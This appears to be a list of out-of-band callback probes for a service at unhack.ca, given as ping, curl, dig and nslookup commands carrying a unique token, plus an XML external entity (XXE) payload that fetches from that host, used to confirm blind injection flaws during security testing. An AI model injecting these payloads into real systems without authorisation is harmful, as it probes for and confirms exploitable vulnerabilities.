$ ping -c1 -p 00abf85644275c54526a2bb60307f900 unhack.ca
 

$ curl http://unhack.ca/p/abf85644275c54526a2bb60307f9
 

$ dig abf85644275c54526a2bb60307f9 @unhack.ca
 

$ dig abf85644275c54526a2bb60307f9.ns.unhack.ca
 

C:\> nslookup abf85644275c54526a2bb60307f9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/abf85644275c54526a2bb60307f9">]>
    <foo>&xxe;</foo>